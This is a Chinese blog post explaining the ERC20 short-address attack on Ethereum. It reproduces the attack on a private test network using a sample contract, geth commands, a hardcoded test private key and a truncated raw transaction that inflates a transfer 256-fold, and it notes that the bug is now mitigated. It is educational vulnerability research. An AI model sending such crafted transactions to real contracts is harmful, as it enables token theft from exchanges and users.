智慧合約安全:短地址攻擊
昨天一位博友提到短地址攻擊的問題,感覺挺有意思的,就花了點時間研究了一下。
1.什麼是短地址攻擊
大家都知道,如果我們想呼叫智慧合約的函式,需要在交易的payload欄位中填充一段位元組碼。以ERC20的transfer()的函式為例,函式原型為:
function transfer(address to, uint amount) public returns (bool success);
我們需要通過一段68個位元組的位元組碼來呼叫該函式進行轉賬,比如:
a9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca000000000000000000000000000000000000000000000000000000000000000001
具體可以分解為3個部分:
- 4位元組函式簽名:a9059cbb
- to引數:000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca00
- amount引數:0000000000000000000000000000000000000000000000000000000000000001
大家可能注意到,這個轉賬地址有點特殊:最後兩個數字為0。
假如有個使用者“不小心”忘記輸入最後這兩個0了怎麼辦?這樣我們的輸入就只有67個位元組了。EVM是通過CALLDATALOAD指令從輸入資料中獲取函式引數的,因此它會先從後面的amount引數裡“借”兩個0來補足前面的地址引數。當它要載入amount引數的時候,發現位數不夠,會在右邊補0,參見以太坊原始碼:
所以,經過這麼一折騰,實際上EVM看到是下面這些引數:
- 4位元組函式簽名:a9059cbb
- to引數:000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca00(借0)
- amount引數:0000000000000000000000000000000000000000000000000000000000000100(補0)
看到問題了沒?轉賬地址沒變,但是轉賬金額增大了256倍!如果你的轉賬地址後面有足夠多的0,那麼轉賬金額將會大得驚人~
但是有人會說,這沒啥毛用啊,難道智慧合約的作者會傻到不檢查你地址的餘額,就直接讓你提幣走人嗎?我猜想這跟目前中心化交易所的運營機制相關。考慮下面的場景:使用者充幣到交易所錢包,交易所又把這些幣轉移到了它們內部的合約賬戶中。等使用者發起提幣申請,並通過人工稽核後,再從合約中把幣打到使用者的賬戶中。
在這種情況下,交易的msg.sender就是交易所本身,因此可以通過餘額檢查。當然,這裡有個前提:你必須能夠通過人工稽核!
2.現在還能重現嗎?
能。
當然,不能通過常規的方式。不能通過remix,因為客戶端會檢查地址長度。也不能通過sendTransaction(),因為web3中也加了保護。但是,我們可以使用sendRawTransaction()。
2.1先寫一個簡單合約
pragma solidity ^0.4.25;
contract ABC {
mapping (address => uint) balances;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
constructor() public {
balances[msg.sender] = 10000;
}
function transfer(address to, uint amount) public returns(bool success) {
if (balances[msg.sender] < amount) return false;
balances[msg.sender] -= amount;
balances[to] += amount;
emit Transfer(msg.sender, to, amount);
return true;
}
function getBalance(address addr) public view returns(uint) {
return balances[addr];
}
}
2.2解鎖賬戶
進入geth控制檯,解鎖第一個賬戶,用來部署合約:
personal.unlockAccount(eth.accounts[0])
2.3部署合約
在remix的Compile面板中,點選“Details”檢視編譯結果,把下面這段拷貝到控制檯上部署合約:
var abcContract = web3.eth.contract([{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"name":"sufficient","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"addr","type":"address"}],"name":"getBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"}]);
var abc = abcContract.new(
{
from: web3.eth.accounts[0],
data: '0x608060405234801561001057600080fd5b506127106000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506102da806100656000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063a9059cbb14610051578063f8b2cb4f146100b6575b600080fd5b34801561005d57600080fd5b5061009c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061010d565b604051808215151515815260200191505060405180910390f35b3480156100c257600080fd5b506100f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610266565b6040518082815260200191505060405180910390f35b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561015e5760009050610260565b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509190505600a165627a7a72305820b995f589cfcbb99e7bf5f31b8c40c052004886078f8e985c624c7348ef4c1bde0029',
gas: '4700000'
}, function (e, contract){
console.log(e, contract);
if (typeof contract.address !== 'undefined') {
console.log('Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);
}
})
2.4啟動挖礦
合約建立交易必須被打包執行後才能生成合約地址,在控制檯啟動挖礦流程:
miner.start()
admin.sleepBlocks(1)
miner.stop()
控制檯會打印出生成的合約地址:
Contract mined! address: 0xdc1b549ed7668e13a8bd72f35b8143adb69b91ed transactionHash: 0xe167a7c105d486f5e772baafb35cef1c196d188378c86d854549fc58d60ba0ca
2.5生成ABI呼叫位元組碼
也就是交易的payload部分,可以通過getData()介面獲得編碼結果:
var abc = abcContract.at('0xdc1b549ed7668e13a8bd72f35b8143adb69b91ed')
var abi = abc.transfer.getData('0x146aed09cd9dea7a64de689c5d3ef73d2ee5ca00', 1)
產生的位元組碼序列如下:
0xa9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca000000000000000000000000000000000000000000000000000000000000000001
2.6生成raw transaction
在上面的位元組碼中去掉兩個0,然後生成raw transaction:
const Web3 = require('web3')
const Tx = require('ethereumjs-tx')
const privateKey = Buffer.from('9a24cc556fe35c17f4be00e970bb7f7ad5c24b9853d8965d2a810e8c412b2a88', 'hex')
const txParams = {
nonce: '0x01', //可以通過eth.getTransactionCount(eth.accounts[0])得到
gasPrice: '5',
gasLimit: '5000',
to: '0xdc1b549ed7668e13a8bd72f35b8143adb69b91ed',
value: '0x00',
data: '0xa9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca0000000000000000000000000000000000000000000000000000000000000001' //去掉了兩個0
// EIP 155 chainId - mainnet: 1, ropsten: 3
chainId: 111 //我搭建的私網ID是111,根據你自己的配置調整
}
var tx = new Tx(txParams)
tx.sign(privateKey)
var serializedTx = tx.serialize()
console.log('0x' + serializedTx.toString('hex'))
得到簽好名的交易:
0xf8a901823130843530303094dc1b549ed7668e13a8bd72f35b8143adb69b91ed80b843a9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca0000000000000000000000000000000000000000000000000000000000000001820101a0aa3594aada7f032aed9760484eb770e47ac958af9a054fd83bc5f63e76974d42a047d608dbdb9109ef392697c6365aa827a934953d90608e038f02859c23d80456
2.7傳送raw transaction
最後一步,通過sendRawTransaction()傳送交易:
eth.sendRawTransaction('0xf8a901823130843530303094dc1b549ed7668e13a8bd72f35b8143adb69b91ed80b843a9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca0000000000000000000000000000000000000000000000000000000000000001820101a0aa3594aada7f032aed9760484eb770e47ac958af9a054fd83bc5f63e76974d42a047d608dbdb9109ef392697c6365aa827a934953d90608e038f02859c23d80456')
生成的交易hash值:
“0xac0173835fc1a2e4b00bd9ef82825289ec27ef36b6120f1ee4c84394c468185a”
啟動挖礦打包執行交易,然後檢視目標賬戶的餘額:
abc.getBalance.call('0x146aed09cd9dea7a64de689c5d3ef73d2ee5ca00')
輸出結果:
256
Bingo!我們本來只轉了1個幣到這個賬戶,但實際上轉過來256個!成功復現了短地址攻擊問題。
我們可以通過eth.getTransactionReceipt()可以檢視event:
可以看到,轉賬金額確實變成了0x100。
3.還能薅羊毛嗎?
不能。
這個漏洞在2017年爆出後,各大交易所基本都在客戶端增加了地址長度檢查。
另外,即使它們不做地址長度檢查,web3中也增加了保護,如果地址長度不夠,會在前面補0:
我們可以測試一下:
4.總結
短地址攻擊是利用EVM在引數長度不夠時自動在右方補0的特性,通過去除錢包地址末位的0,達到將轉賬金額左移放大的效果。目前主要依靠客戶端主動檢查地址長度來避免該問題,另外web3層面也增加了引數格式校驗。雖然EVM層仍然可以復現,但是在實際應用場景中基本沒有問題。
參考:
https://blog.golemproject.net/how-to-find-10m-by-just-reading-blockchain-6ae9d39fcd95
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-55.md
https://vessenes.com/the-erc20-short-address-attack-explained/
更多文章歡迎關注“鑫鑫點燈”專欄:https://blog.csdn.net/turkeycock
或關注飛久微信公眾號: